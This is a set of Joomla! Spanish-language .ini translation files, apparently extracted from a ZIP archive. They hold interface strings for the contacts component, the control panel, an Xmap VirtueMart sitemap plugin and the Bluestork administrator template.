COM_CONTACT_FEATURED_VIEW_DEFAULT_TITLE="Mostrar los contactos destacados" COM_CONTACT_CONTACTS="Contactos" COM_CONTACT_XML_DESCRIPTION="Este componente permite gestionar a los contactos y su información" PK@y>\ |\\$language/es-ES/es-ES.com_contact.ininuW+A; $Id: es-ES.com_contact.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_CONTACT="Contactos" COM_CONTACT_BASIC_OPTIONS_FIELDSET_LABEL="Opciones básicas del contacto" COM_CONTACT_BATCH_MENU_LABEL="Seleccionar una categoría a mover o copiar" COM_CONTACT_BATCH_OPTIONS="Procesar por lotes los siguientes contactos" COM_CONTACT_BATCH_TIP="Si se ha elegido copiar un contacto, se aplicará cualquier otra acción seleccionada en el contacto a copiar. En otro caso, se aplicarán todas las acciones al contacto." COM_CONTACT_CATEGORIES_VIEW_DEFAULT_DESC="Muestra una lista de categorías de contactos pertenecientes a una categoría dada." COM_CONTACT_CATEGORY_VIEW_DEFAULT_DESC="Esta presentación muestra una lista de contactos pertenecientes a una categoría dada." COM_CONTACT_CHANGE_CONTACT="Cambiar contacto" COM_CONTACT_CHANGE_CONTACT_BUTTON="Cambiar contacto" COM_CONTACT_CONFIG_INTEGRATION_SETTINGS_DESC="Esta configuración determina como se integrará el componente de contactos con otras extensiones." COM_CONTACT_CONFIGURATION="Opciones del gestor de contactos" COM_CONTACT_CONTACT_DETAILS="Detalles del contacto" COM_CONTACT_CONTACT_DISPLAY_DETAILS="Muestra las opciones individualmente para una página de contacto." COM_CONTACT_CONTACT_SETTINGS_LABEL="Opciones de contacto" COM_CONTACT_CONTACT_VIEW_DEFAULT_DESC="Esto enlaza a la información de un solo contacto." COM_CONTACT_DETAILS="Información del contacto" COM_CONTACT_EDIT_CONTACT="Editar contacto" COM_CONTACT_EDIT_DETAILS="Editar la información del contacto mostrada individualmente en una página." COM_CONTACT_ERROR_UNIQUE_ALIAS="Otro contacto en esta misma categoría tiene el mismo alias" COM_CONTACT_FIELD_ARTICLES_COMMENTS_DESC="Permitir comentarios en los artículos escritos por el contacto" COM_CONTACT_FIELD_ARTICLES_COMMENTS_LABEL="Comentarios" COM_CONTACT_FIELD_ARTICLES_RATINGS_DESC="Permitir la votación de artículos para el contacto" COM_CONTACT_FIELD_ARTICLES_RATINGS_LABEL="Votación de artículos" COM_CONTACT_FIELD_ARTICLES_SHOW_DESC="Si este contacto está enlazado a un usuario, y esto está configurado en 'Mostrar', se mostrarán los artículos creados por este contacto." COM_CONTACT_FIELD_ARTICLES_SHOW_LABEL="Mostrar los artículos del usuario" COM_CONTACT_FIELD_BREADCRUMBS_DESC="Mostrar u ocultar la ruta de la categoría" COM_CONTACT_FIELD_BREADCRUMBS_LABEL="Mostrar la ruta de la categoría" COM_CONTACT_FIELD_CAPTCHA_DESC="Seleccione el plugin de captcha que se usará en el formulario de contacto. Es necesario que introduzca la información que el plugin necesite para funcionar correctamente desde el gestor de plugins.
            Si tiene configurado 'Usar el predeterminado', asegúrese de que hay un plugin de captcha seleccionado desde la configuración global." COM_CONTACT_FIELD_CAPTCHA_LABEL="Permitir captcha en 'Contactos'" COM_CONTACT_FIELD_CATEGORIES_DESC="Muestra una lista de las categorías de contactos pertenecientes a una categoría." COM_CONTACT_FIELD_CATEGORIES_LABEL="Elija una categoría relacionada" COM_CONTACT_FIELD_CATEGORY_DESC="Seleccione una categoría de contactos a mostrar" COM_CONTACT_FIELD_CATEGORY_LABEL="Seleccione una categoría" COM_CONTACT_FIELD_CONFIG_ALLOW_VCARD_DESC="Permite que se muestre la opción vCard" COM_CONTACT_FIELD_CONFIG_ALLOW_VCARD_LABEL="Permitir vCard" COM_CONTACT_FIELD_CONFIG_BANNED_EMAIL_DESC="Direcciones de correo electrónico no permitidas para enviar formularios de contacto." COM_CONTACT_FIELD_CONFIG_BANNED_EMAIL_LABEL="Direcciones de correo bloqueadas" COM_CONTACT_FIELD_CONFIG_BANNED_SUBJECT_DESC="Palabras no permitidas en el campo 'Asunto' de los mensajes de correo electrónico del formulario de contacto" COM_CONTACT_FIELD_CONFIG_BANNED_SUBJECT_LABEL="Asuntos del correo bloqueados" COM_CONTACT_FIELD_CONFIG_BANNED_TEXT_DESC="Palabras o frases no permitidas en el cuerpo del formulario de contacto" COM_CONTACT_FIELD_CONFIG_BANNED_TEXT_LABEL="Texto dentro del mensaje bloqueado" COM_CONTACT_FIELD_CONFIG_CATEGORIES_DESC="Estas opciones se aplican en las categorías de contactos, siempre y cuando que no se hayan cambiado específicamente para un elemento del menú." COM_CONTACT_FIELD_CONFIG_CATEGORY_DESC="Esta opción se aplica en las categorías de contactos, siempre y cuando que no se haya cambiado específicamente desde las opciones de edición de un elemento del menú." COM_CONTACT_FIELD_CONFIG_CONTACT_FORM="Formulario" COM_CONTACT_FIELD_CONFIG_COUNTRY_DESC="Mostrar u ocultar la columna 'País' en la lista de contactos." COM_CONTACT_FIELD_CONFIG_COUNTRY_LABEL="País" COM_CONTACT_FIELD_CONFIG_CUSTOM_REPLY_DESC="Se deshabilita la respuesta automática, permitiéndole a los plugins manejar la integración con otros sistemas." COM_CONTACT_FIELD_CONFIG_CUSTOM_REPLY_LABEL="Respuesta personalizada" COM_CONTACT_FIELD_CONFIG_EMAIL_DESC="Mostrar u ocultar la columna 'Correo' en la lista de contactos." COM_CONTACT_FIELD_CONFIG_FAX_DESC="Mostrar u ocultar la columna 'Fax' en la lista de contactos." COM_CONTACT_FIELD_CONFIG_FAX_LABEL="Fax" COM_CONTACT_FIELD_CONFIG_INDIVIDUAL_CONTACT_DESC="Estas opciones se aplican en las presentaciones de un solo contacto, siempre y cuando que no se hayan cambiado específicamente desde las opciones de edición de un elemento del menú o de contacto" COM_CONTACT_FIELD_CONFIG_INDIVIDUAL_CONTACT_DISPLAY="Contacto" COM_CONTACT_FIELD_CONFIG_MOBILE_DESC="Mostrar u ocultar la columna 'Móvil' en la lista de contactos." COM_CONTACT_FIELD_CONFIG_MOBILE_LABEL="Móvil" COM_CONTACT_FIELD_CONFIG_PHONE_DESC="Mostrar u ocultar la columna 'Teléfono' en la lista de contactos." COM_CONTACT_FIELD_CONFIG_PHONE_LABEL="Teléfono" COM_CONTACT_FIELD_CONFIG_POSITION_DESC="Mostrar u ocultar la columna 'Cargo' en la lista de contactos." COM_CONTACT_FIELD_CONFIG_POSITION_LABEL="Cargo" COM_CONTACT_FIELD_CONFIG_REDIRECT_DESC="Introduzca una URL alternativa a la que redirigir al usuario después de enviar el correo electrónico." COM_CONTACT_FIELD_CONFIG_REDIRECT_LABEL="Redirección del contacto" COM_CONTACT_FIELD_CONFIG_SESSION_CHECK_DESC="Se revisa si existen 'cookies' de la sesión. Significa que los usuarios que no tengan las 'cookies' habilitadas en su navegador, no podrán enviar correos electrónicos desde el sitio." COM_CONTACT_FIELD_CONFIG_SESSION_CHECK_LABEL="Comprobar la sesión" COM_CONTACT_FIELD_CONFIG_STATE_LABEL="Estado o provincia" COM_CONTACT_FIELD_CONFIG_STATE_DESC="Mostrar u ocultar la columna 'Estado o provincia' en la lista de contactos" COM_CONTACT_FIELD_CONFIG_SUBURB_DESC="Mostrar u ocultar la columna 'Localidad' en la lista de contactos" COM_CONTACT_FIELD_CONFIG_SUBURB_LABEL="Localidad" COM_CONTACT_FIELD_CONFIG_TABLE_OF_CONTACTS_DESC="Estas opciones se aplican en las listas de contactos, siempre y cuando que no hayan sido cambiadas específicamente desde las opciones de edición de un elemento del menú." COM_CONTACT_FIELD_CONFIG_VCARD_DESC="Mostrar u ocultar la columna 'vCard' en la lista de contactos" COM_CONTACT_FIELD_CONFIG_VCARD_LABEL="vCard" COM_CONTACT_FIELD_CONTACT_SHOW_CATEGORY_DESC="Si se configura en 'Ocultar', la categoría de contacto no se mostrará. Si se configura en 'Mostrar sin enlazar', la categoría se mostrará como un texto. Si se configura en 'Mostrar con enlace', la categoría se mostrará como un enlace a la presentación de un elemento del menú que está apuntando a una sola categoría." COM_CONTACT_FIELD_CONTACT_SHOW_CATEGORY_LABEL="Categoría de contactos" COM_CONTACT_FIELD_CONTACT_SHOW_LIST_DESC="Si se selecciona 'Mostrar', el usuario podrá cambiar el contacto a mostrar, desde una lista de selección desplegable, donde se muestran todos los contactos pertenecientes a esa categoría." COM_CONTACT_FIELD_CONTACT_SHOW_LIST_LABEL="Mostrar lista de contactos" COM_CONTACT_FIELD_CREATED_BY_ALIAS_DESC="Aquí puede introducir un alias. Se mostrará en lugar del usuario con el que fue creado el contacto." COM_CONTACT_FIELD_CREATED_BY_ALIAS_LABEL="Creado por alias" COM_CONTACT_FIELD_CREATED_BY_DESC="Aquí puede cambiar el nombre del usuario con el que fue creado el contacto." COM_CONTACT_FIELD_CREATED_DESC="Fecha de creación del contacto." COM_CONTACT_FIELD_CREATED_LABEL="Fecha de creación" COM_CONTACT_FIELD_EMAIL_BANNED_EMAIL_DESC="Direcciones de correo electrónico no permitidas para enviar formularios de contacto." COM_CONTACT_FIELD_EMAIL_BANNED_EMAIL_LABEL="Direcciones de correo bloqueadas" COM_CONTACT_FIELD_EMAIL_BANNED_SUBJECT_DESC="Asuntos de correo no permitidos en el formulario de contacto" COM_CONTACT_FIELD_EMAIL_BANNED_SUBJECT_LABEL="Asuntos de correo bloqueados" COM_CONTACT_FIELD_EMAIL_BANNED_TEXT_DESC="Texto no permitido en el cuerpo de los mensajes del formulario de contacto" COM_CONTACT_FIELD_EMAIL_BANNED_TEXT_LABEL="Texto dentro del mensaje bloqueado" COM_CONTACT_FIELD_EMAIL_EMAIL_COPY_DESC="Mostrar u ocultar la casilla de selección que permite enviar una copia del correo electrónico al remitente." COM_CONTACT_FIELD_EMAIL_EMAIL_COPY_LABEL="Enviar una copia al remitente" COM_CONTACT_FIELD_EMAIL_SHOW_FORM_DESC="Mostrar u ocultar el formulario de contacto." COM_CONTACT_FIELD_EMAIL_SHOW_FORM_LABEL="Mostrar el formulario de contacto" COM_CONTACT_FIELD_FEATURED_DESC="Si se configura en 'Sí', se mostrará en la presentación de destacados." COM_CONTACT_FIELD_FEEDLINK_DESC="Mostrar u ocultar un enlace sindicable para esta categoría de contactos" COM_CONTACT_FIELD_FEEDLINK_LABEL="Sindicar enlace" COM_CONTACT_FIELD_ICONS_ADDRESS_DESC="Seleccione el icono para la dirección postal. Si no se selecciona ninguno, se mostrará el icono predeterminado." COM_CONTACT_FIELD_ICONS_ADDRESS_LABEL="Icono 'Dirección postal'" COM_CONTACT_FIELD_ICONS_EMAIL_DESC="Seleccione el icono para el correo electrónico. Si no se selecciona ninguno, se mostrará el icono predeterminado." COM_CONTACT_FIELD_ICONS_EMAIL_LABEL="Icono 'Correo'" COM_CONTACT_FIELD_ICONS_FAX_DESC="Seleccione el icono para el fax. Si no se selecciona ninguno, se mostrará el icono predeterminado." COM_CONTACT_FIELD_ICONS_FAX_LABEL="Icono 'Fax'" COM_CONTACT_FIELD_ICONS_MISC_DESC="Seleccione el icono para la información general. Si no se selecciona ninguno, se mostrará el icono predeterminado." COM_CONTACT_FIELD_ICONS_MISC_LABEL="Icono 'Información general'" COM_CONTACT_FIELD_ICONS_MOBILE_DESC="Seleccione el icono para el teléfono móvil. Si no se selecciona ninguno, se mostrará el icono predeterminado." COM_CONTACT_FIELD_ICONS_MOBILE_LABEL="Icono 'Móvil'" COM_CONTACT_FIELD_ICONS_SETTINGS_DESC="Seleccione entre si mostrar iconos, texto o nada junto al dato relacionado." COM_CONTACT_FIELD_ICONS_SETTINGS_LABEL="Configuración" COM_CONTACT_FIELD_ICONS_TELEPHONE_DESC="Seleccione el icono para el teléfono. Si no se selecciona ninguno, se mostrará el icono predeterminado." COM_CONTACT_FIELD_ICONS_TELEPHONE_LABEL="Icono 'Teléfono'" COM_CONTACT_FIELD_IMAGE_ALIGN_DESC="Alineación de la imagen" COM_CONTACT_FIELD_IMAGE_ALIGN_LABEL="Alineación de imagen" COM_CONTACT_FIELD_INFORMATION_ADDRESS_DESC="Dirección postal del contacto" COM_CONTACT_FIELD_INFORMATION_ADDRESS_LABEL="Dirección postal" COM_CONTACT_FIELD_INFORMATION_COUNTRY_DESC="País del contacto" COM_CONTACT_FIELD_INFORMATION_COUNTRY_LABEL="País" COM_CONTACT_FIELD_INFORMATION_EMAIL_DESC="Correo electrónico del contacto" COM_CONTACT_FIELD_INFORMATION_FAX_DESC="Fax del contacto" COM_CONTACT_FIELD_INFORMATION_FAX_LABEL="Fax" COM_CONTACT_FIELD_INFORMATION_MISC_DESC="Información general del contacto" COM_CONTACT_FIELD_INFORMATION_MISC_LABEL="Otra información" COM_CONTACT_FIELD_INFORMATION_MOBILE_DESC="Teléfono móvil del contacto" COM_CONTACT_FIELD_INFORMATION_MOBILE_LABEL="Móvil" COM_CONTACT_FIELD_INFORMATION_POSITION_DESC="Cargo del contacto" COM_CONTACT_FIELD_INFORMATION_POSITION_LABEL="Cargo" COM_CONTACT_FIELD_INFORMATION_POSTCODE_DESC="Código postal del contacto" COM_CONTACT_FIELD_INFORMATION_POSTCODE_LABEL="Código postal" COM_CONTACT_FIELD_INFORMATION_STATE_DESC="Provincia del contacto" COM_CONTACT_FIELD_INFORMATION_STATE_LABEL="Provincia" COM_CONTACT_FIELD_INFORMATION_SUBURB_DESC="Localidad del contacto" COM_CONTACT_FIELD_INFORMATION_SUBURB_LABEL="Localidad" COM_CONTACT_FIELD_INFORMATION_TELEPHONE_DESC="Teléfono del contacto" COM_CONTACT_FIELD_INFORMATION_TELEPHONE_LABEL="Teléfono" COM_CONTACT_FIELD_INFORMATION_WEBPAGE_DESC="Sitio web del contacto" COM_CONTACT_FIELD_INFORMATION_WEBPAGE_LABEL="Sitio web" COM_CONTACT_FIELD_INITIAL_SORT_DESC="Elija el campo o campos con los que se ordenarán los contactos." COM_CONTACT_FIELD_INITIAL_SORT_LABEL="Ordenar por" COM_CONTACT_FIELD_LANGUAGE_DESC="Asigne un idioma para este contacto" COM_CONTACT_FIELD_LIMIT_BOX_DESC="Mostrar u ocultar el límite para el campo de texto" COM_CONTACT_FIELD_LIMIT_BOX_LABEL="Limite del campo de texto" COM_CONTACT_FIELD_LINK_NAME_DESC="Un enlace adicional para este contacto" COM_CONTACT_FIELD_LINKA_DESC="Descripción para el enlace A" COM_CONTACT_FIELD_LINKA_LABEL="Enlace URL A" COM_CONTACT_FIELD_LINKA_NAME_LABEL="Enlace de la etiqueta A" COM_CONTACT_FIELD_LINKB_DESC="Descripción para el enlace B" COM_CONTACT_FIELD_LINKB_LABEL="Enlace URL B" COM_CONTACT_FIELD_LINKB_NAME_LABEL="Enlace de la etiqueta B" COM_CONTACT_FIELD_LINKC_DESC="Descripción para el enlace C" COM_CONTACT_FIELD_LINKC_LABEL="Enlace URL D" COM_CONTACT_FIELD_LINKC_NAME_LABEL="Enlace de la etiqueta C" COM_CONTACT_FIELD_LINKD_DESC="Descripción para el enlace D" COM_CONTACT_FIELD_LINKD_LABEL="Enlace URL D" COM_CONTACT_FIELD_LINKD_NAME_LABEL="Enlace de la etiqueta D" COM_CONTACT_FIELD_LINKE_DESC="Descripción para el enlace E" COM_CONTACT_FIELD_LINKE_LABEL="Enlace URL E" COM_CONTACT_FIELD_LINKE_NAME_LABEL="Enlace de la etiqueta E" COM_CONTACT_FIELD_LINKED_USER_DESC="Enlazado a un usuario de Joomla!" COM_CONTACT_FIELD_LINKED_USER_LABEL="Usuario enlazado" COM_CONTACT_FIELD_MODIFIED_DESC="La fecha y hora en la que se modificó por última vez al contacto." COM_CONTACT_FIELD_NAME_DESC="Nombre del contacto" COM_CONTACT_FIELD_NAME_LABEL="Nombre" COM_CONTACT_FIELD_NUM_CONTACTS_DESC="Cantidad de contactos a mostrar en la lista." COM_CONTACT_FIELD_NUM_CONTACTS_LABEL="Cantidad de contactos" COM_CONTACT_FIELD_PARAMS_CONTACT_E_MAIL_DESC="Mostrar u ocultar el correo electrónico de contacto" COM_CONTACT_FIELD_PARAMS_CONTACT_POSITION_DESC="Mostrar u ocultar el cargo" COM_CONTACT_FIELD_PARAMS_CONTACT_POSITION_LABEL="Cargo del contacto" COM_CONTACT_FIELD_PARAMS_COUNTRY_DESC="Mostrar u ocultar el país" COM_CONTACT_FIELD_PARAMS_COUNTRY_LABEL="País" COM_CONTACT_FIELD_PARAMS_FAX_DESC="Mostrar u ocultar el número de fax" COM_CONTACT_FIELD_PARAMS_FAX_LABEL="Fax" COM_CONTACT_FIELD_PARAMS_IMAGE_DESC="Seleccione una imagen para el contacto." COM_CONTACT_FIELD_PARAMS_IMAGE_LABEL="Imagen" COM_CONTACT_FIELD_PARAMS_MISC_INFO_DESC="Mostrar u ocultar la información general" COM_CONTACT_FIELD_PARAMS_MISC_INFO_LABEL="Información general" COM_CONTACT_FIELD_PARAMS_MOBILE_DESC="Mostrar u ocultar el teléfono móvil" COM_CONTACT_FIELD_PARAMS_MOBILE_LABEL="Teléfono móvil" COM_CONTACT_FIELD_PARAMS_NAME_DESC="Mostrar u ocultar el nombre del contacto" COM_CONTACT_FIELD_PARAMS_NAME_LABEL="Nombre" COM_CONTACT_FIELD_PARAMS_POST-ZIP_CODE_DESC="Mostrar u ocultar el código postal" COM_CONTACT_FIELD_PARAMS_POST-ZIP_CODE_LABEL="Código postal" COM_CONTACT_FIELD_PARAMS_SHOW_IMAGE_DESC="Mostrar u ocultar la imagen" COM_CONTACT_FIELD_PARAMS_SHOW_IMAGE_LABEL="Imagen" COM_CONTACT_FIELD_PARAMS_STATE-COUNTY_DESC="Mostrar u ocultar la provincia" COM_CONTACT_FIELD_PARAMS_STATE-COUNTY_LABEL="Provincia" COM_CONTACT_FIELD_PARAMS_STREET_ADDRESS_DESC="Mostrar u ocultar dirección postal" COM_CONTACT_FIELD_PARAMS_STREET_ADDRESS_LABEL="Dirección postal" COM_CONTACT_FIELD_PARAMS_TELEPHONE_DESC="Mostrar u ocultar el número de teléfono" COM_CONTACT_FIELD_PARAMS_TELEPHONE_LABEL="Teléfono" COM_CONTACT_FIELD_PARAMS_TOWN-SUBURB_DESC="Mostrar u ocultar la ciudad o localidad" COM_CONTACT_FIELD_PARAMS_TOWN-SUBURB_LABEL="Localidad" COM_CONTACT_FIELD_PARAMS_VCARD_DESC="Se determina si se permite, o no, exportar al formato vCard" COM_CONTACT_FIELD_PARAMS_VCARD_LABEL="vCard" COM_CONTACT_FIELD_PARAMS_WEBPAGE_DESC="Mostrar u ocultar la página web del contacto" COM_CONTACT_FIELD_PARAMS_WEBPAGE_LABEL="Página web" COM_CONTACT_FIELD_PRESENTATION_DESC="Se determina el estilo a usar para mostrar las secciones del formulario de contacto" COM_CONTACT_FIELD_PRESENTATION_LABEL="Formato" COM_CONTACT_FIELD_PROFILE_SHOW_DESC="Si este contacto esta enlazado a un usuario, y esto está configurado en 'Mostrar', se mostrará el perfil de este usuario." COM_CONTACT_FIELD_PROFILE_SHOW_LABEL="Mostrar perfil" COM_CONTACT_FIELD_PUBLISH_DOWN_DESC="Una fecha opcional de finalización de la publicación del contacto." COM_CONTACT_FIELD_PUBLISH_DOWN_LABEL="Final de publicación" COM_CONTACT_FIELD_PUBLISH_UP_DESC="Una fecha opcional de inicio de publicación del contacto." COM_CONTACT_FIELD_PUBLISH_UP_LABEL="Inicio de la publicación" COM_CONTACT_FIELD_SHOW_CAT_ITEMS_DESC="Mostrar u ocultar cantidad de contactos que hay en la categoría" COM_CONTACT_FIELD_SHOW_CAT_ITEMS_LABEL="Cantidad de contactos en la categoría" COM_CONTACT_FIELD_SHOW_CATEGORY_DESC="Mostrar la categoría" COM_CONTACT_FIELD_SHOW_LINKS_DESC="Mostrar u ocultar los enlaces." COM_CONTACT_FIELD_SHOW_LINKS_LABEL="Mostrar enlaces" COM_CONTACT_FIELD_SORTNAME1_DESC="La parte del nombre a usar como primera parte de ordenación" COM_CONTACT_FIELD_SORTNAME1_LABEL="Primer campo de ordenación" COM_CONTACT_FIELD_SORTNAME2_DESC="La parte del nombre a usar como segunda parte de ordenación" COM_CONTACT_FIELD_SORTNAME2_LABEL="Segundo campo de ordenación" COM_CONTACT_FIELD_SORTNAME3_DESC="La parte del nombre a usar como tercera parte de ordenación" COM_CONTACT_FIELD_SORTNAME3_LABEL="Tercer campo de ordenación" COM_CONTACT_FIELD_VALUE_ICONS="Iconos" COM_CONTACT_FIELD_VALUE_NAME="Nombre" COM_CONTACT_FIELD_VALUE_NO_LINK="Mostrar sin enlace" COM_CONTACT_FIELD_VALUE_NONE="Nada" COM_CONTACT_FIELD_VALUE_ORDERING="Orden" COM_CONTACT_FIELD_VALUE_PLAIN="Plano" COM_CONTACT_FIELD_VALUE_SLIDERS="Desplegable" COM_CONTACT_FIELD_VALUE_SORT_NAME="Ordenar nombre" COM_CONTACT_FIELD_VALUE_TABS="Pestaña" COM_CONTACT_FIELD_VALUE_TEXT="Texto" COM_CONTACT_FIELD_VALUE_WITH_LINK="Mostrar con enlace" COM_CONTACT_FIELDSET_CONTACT_FORM="Formulario de contacto" COM_CONTACT_FIELDSET_CONTACT_LABEL="Opciones a mostrar del contacto" COM_CONTACT_FIELDSET_CONTACTFORM_LABEL="Opciones del correo electrónico" COM_CONTACT_FIELDSET_OPTIONS="Opciones a mostrar" COM_CONTACT_FILTER_DESC="Seleccione el tipo de filtro a mostrar predeterminadamente." COM_CONTACT_FILTER_LABEL="Filtro" COM_CONTACT_FILTER_SEARCH_DESC="Introduzca un texto para localizar contactos" COM_CONTACT_ICONS_SETTINGS="Iconos" COM_CONTACT_ID_LABEL="ID" COM_CONTACT_MAIL_FIELDSET_LABEL="Opciones del correo" COM_CONTACT_MANAGER_CONTACT="Gestor de contactos: Contacto" COM_CONTACT_MANAGER_CONTACTS="Gestor de contactos: Contactos" COM_CONTACT_N_ITEMS_ARCHIVED="%d contactos han sido archivados correctamente" COM_CONTACT_N_ITEMS_ARCHIVED_1="%d contacto ha sido archivado correctamente" COM_CONTACT_N_ITEMS_CHECKED_IN_0="No se ha desbloqueado a ningún contacto" COM_CONTACT_N_ITEMS_CHECKED_IN_1="%d contacto ha sido desbloqueado correctamente" COM_CONTACT_N_ITEMS_CHECKED_IN_MORE="%d contactos han sido desbloquedados correctamente" COM_CONTACT_N_ITEMS_DELETED="%d contactos han sido borrados correctamente" COM_CONTACT_N_ITEMS_DELETED_1="%d contacto ha sido publicado correctamente" COM_CONTACT_N_ITEMS_PUBLISHED="%d contactos han sido publicados correctamente" COM_CONTACT_N_ITEMS_PUBLISHED_1="%d contacto ha sido publicado correctamente" COM_CONTACT_N_ITEMS_TRASHED="%d contactos han sido movidos a la papelera correctamente" COM_CONTACT_N_ITEMS_TRASHED_1="%d contacto ha sido movido a la papelera correctamente" COM_CONTACT_N_ITEMS_UNPUBLISHED="%d contactos han sido despublicados correctamente" COM_CONTACT_N_ITEMS_UNPUBLISHED_1="%d contacto ha sido despublicado correctamente" COM_CONTACT_NAME_DESC="Nombre del contacto" COM_CONTACT_NEW_CONTACT="Nuevo contacto" COM_CONTACT_NO_ITEM_SELECTED="Sin contactos seleccionados" COM_CONTACT_OPTIONS="Opciones" COM_CONTACT_SAVE_SUCCESS="Contacto guardado correctamente" COM_CONTACT_SEARCH_IN_NAME="Buscar contactos por nombre" COM_CONTACT_SELECT_A_CONTACT="Seleccione un contacto" COM_CONTACT_SELECT_CONTACT_DESC="Pulse sobre el botón para seleccionar un contacto desde la lista" COM_CONTACT_SELECT_CONTACT_LABEL="Seleccionar contacto" COM_CONTACT_SELECT_USER="Seleccionar usuario" COM_CONTACT_SHOW_EMAIL_ADDRESS_DESC="Muestra la dirección de correo electrónico" COM_CONTACT_SHOW_EMAIL_ADDRESS_LABEL="Dirección de correo electrónico" COM_CONTACT_SHOW_EMPTY_CATEGORIES_DESC="Si selecciona 'Mostrar', se mostrarán las categorías vacías. Una categoría solo está vacía si no contiene contactos o subcategorías." COM_CONTACT_SUBMENU_CATEGORIES="Categorías" COM_CONTACT_SUBMENU_CONTACTS="Contactos" COM_CONTACT_TOGGLE_TO_FEATURE="Pulse para cambiar el estado del contacto a 'Destacado'" COM_CONTACT_TOGGLE_TO_UNFEATURE="Pulse para cambiar el estado del contacto a 'No destacado'" COM_CONTACT_UNFEATURED="Contacto no destacado" COM_CONTACT_WARNING_CATEGORY="Esta categoría es invalida" COM_CONTACT_WARNING_PROVIDE_VALID_NAME="Por favor, proporcione un nombre válido." COM_CONTACT_WARNING_PROVIDE_VALID_URL="Por favor, proporcione una URL válida." COM_CONTACT_WARNING_SELECT_CONTACT_TOPUBLISH="Por favor, seleccione un contacto a publicar" COM_CONTACT_XML_DESCRIPTION="Este componente permite gestionar a los contactos y su información" JGLOBAL_NEWITEMSLAST_DESC="Los contactos nuevos se ordenarán en la última posición. El orden puede cambiarse una vez que se haya guardado a este contacto." JLIB_HTML_BATCH_USER_LABEL="Asignar el usuario enlazado" JLIB_RULES_SETTING_NOTES="1. Si cambia la configuración, las modificaciones se aplicarán sobre este componente. Note que:
            Heredado quiere decir que, para determinar el estado del permiso, se tendrá en cuenta lo que haya asignado desde la configuración global y desde los grupos de nivel superior.
            Denegado quiere decir que da igual como esté configurado el estado de los permisos sobre esa acción desde la configuración global, o desde los grupos de nivel superior a los que pertenezca el grupo que desee configurar; es decir, al grupo al que le cambie el estado del permiso a 'Denegado' desde este apartado, no podrá realizar esa acción sobre este componente (incluyendo a todos sus subgrupos, si tuviera).
            Permitido quiere decir que el grupo al que le cambie el estado de la acción a 'Permitido' desde aquí, podrá realizar esa acción sobre este componente (pero si esta configuración entra en conflicto con lo asignado desde la configuración global, o con lo asignado en los grupos de nivel superior a los que pertenezca el grupo que desee reconfigurar, la configuración que aplique desde aquí no tendrá efecto, y el conflicto será indicado con un No permitido (bloqueado) debajo del estado de configuración calculada).
            2. Si realiza algún cambio en la configuración, haga clic en Guardar para que se pueda recalcular la nueva configuración." PK@y>\5t'language/es-ES/es-ES.com_cpanel.sys.ininuW+A; $Id: es-ES.com_cpanel.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_CPANEL="Panel de control" COM_CPANEL_XML_DESCRIPTION="Componente que permite usar el panel de control" PK@y>\tXX0language/es-ES/es-ES.plg_xmap_com_virtuemart.ininuW+AXMAP_VM_PLUGIN_DESCRIPTION="Adds support for Virtuemart's categories and products" XMAP_VM_SETTING_SHOW_PRODUCTS_LABEL="Show Products?" XMAP_VM_SETTING_SHOW_PRODUCTS_DESC="Should we include products into the site map?" XMAP_SETTING_OPTION_ORDERING_DEFAULT="Default ordering" XMAP_SETTING_OPTION_ORDERING_NAME="Name" XMAP_SETTING_OPTION_ORDERING_CREATED="Creation date" XMAP_SETTING_OPTION_ORDERING_MODIFIED="Modified date" XMAP_SETTING_OPTION_ORDERING_HITS="Number of hits" XMAP_SETTING_OPTION_ORDERING_DIR_ASC="Ascendant" XMAP_SETTING_OPTION_ORDERING_DIR_DESC="Descendant" ; Generic Extension settings strings COM_PLUGINS_BASIC_FIELDSET_LABEL="Basic Settings" COM_PLUGINS_XML_FIELDSET_LABEL="XML Sitemap Settings" COM_PLUGINS_NEWS_FIELDSET_LABEL="News Sitemap Settings" XMAP_OPTION_USE_PARENT_MENU="Use Parent Menu Settings" XMAP_OPTION_NEVER="Never" XMAP_OPTION_ALWAYS="Always" XMAP_OPTION_XML_ONLY="In XML Sitemap Only" XMAP_OPTION_HTML_ONLY="In HTML Sitemap Only" XMAP_OPTION_WEEKLY="Weekly" XMAP_OPTION_DAILY="Daily" XMAP_OPTION_MONTHLY="Monthly" XMAP_OPTION_YEARLY="Yearly" XMAP_OPTION_HOURLY="Hourly" XMAP_VM_CATEGORY_PRIORITY_LABEL="Category Priority" XMAP_VM_CATEGORY_PRIORITY_DESC="Set the priority for the categories" XMAP_VM_CATEGORY_CHANGEFREQ_LABEL="Category Change frequency" XMAP_VM_CATEGORY_CHANGEFREQ_DESC="Set the change frequency for the categories" XMAP_VM_PRODUCT_PRIORITY_LABEL="Product Priority" XMAP_VM_PRODUCT_PRIORITY_DESC="Set the priority for the products" XMAP_VM_PRODUCT_CHANGEFREQ_LABEL="Product Change frequency" XMAP_VM_PRODUCT_CHANGEFREQ_DESC="Set the change frequency for the products"PK@y>\(x*language/es-ES/es-ES.tpl_bluestork.sys.ininuW+A; $Id: es-ES.tpl_bluestork.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! BLUESTORK="Bluestork: plantilla de la administración " TPL_BLUESTORK_POSITION_CPANEL="Panel de control" TPL_BLUESTORK_POSITION_CP_SHELL="Sin usar" TPL_BLUESTORK_POSITION_DEBUG="Depurador" TPL_BLUESTORK_POSITION_FOOTER="Pie de página" TPL_BLUESTORK_POSITION_ICON="Enlaces rápidos" TPL_BLUESTORK_POSITION_LOGIN="Conectar" TPL_BLUESTORK_POSITION_MENU="Menú" TPL_BLUESTORK_POSITION_STATUS="Estado" TPL_BLUESTORK_POSITION_SUBMENU="Submenú" TPL_BLUESTORK_POSITION_TITLE="Título" TPL_BLUESTORK_POSITION_TOOLBAR="Barra de herramientas" 